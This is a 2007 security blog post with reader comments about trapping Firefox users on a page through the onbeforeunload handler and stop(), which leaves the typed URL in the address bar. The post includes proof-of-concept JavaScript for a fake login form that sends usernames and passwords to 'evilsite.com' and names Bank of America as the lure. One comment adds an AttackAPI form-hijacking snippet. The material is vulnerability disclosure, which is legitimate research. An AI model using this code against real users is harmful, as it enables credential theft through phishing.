Tuesday, March 20, 2007

Trapping Mozilla For Phishing

I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper SessionSafe: Implementing XSS Immune Session Handling (there's also some discussion about the paper here: http://sla.ckers.org/forum/read.php?13,7607), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.

Before delving into an explanation, here's the code which I'll explain:

function test(e) {
window.setTimeout ("stop();", 1);
window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);

window.onbeforeunload = test;

<div id="test2">Please go to bankofamerica.com</div>
<div style="display:none;" id="test">Please Enter your Login Details here:
<form action="http://evilsite.com/">
Username: <input name="username">
Password: <input type="password" name="password">

Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.

In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.

The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.

Simple Enough.

One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.

You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.

Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/

P.S. This was tested on Firefox


pdp said...

You don't need to use document.write. You can simply hijack the view. With AttackAPI you can do something as simple as this:

$A.hijackView({url:'http://[withing the current origin]/get_me_a_page.php?url=' + document.location, onload: function () {
var doc = $A.getDocument(this);
for (var form in doc.forms)
$A.hijackForm({form: form, onsubmit: function () {
// do whatever you want with "this"

kuza55 said...

I know I don't have to use document.write. I merely wanted to point out the fact that it doesn't work so that people would not think it doesn't work because they are using document.write to write data.

As such, my example uses DOM functions to add the form. Also; adding an iframe would be rather useless, because this cannot be used to truly trap the user because (AFAIK) there is no way to know where they are going to go. And as such this is only really useful for phishing.

BTW, why does the URL need to be "within the current origin"? Or was that just so that you could more easily control the data shown?

Kishor said...
This comment has been removed by the author.
Anonymous said...

There is an obvious flaw in majohn's POC.
Check this outANTI-POC

Kishor said...

Does this POST make sense?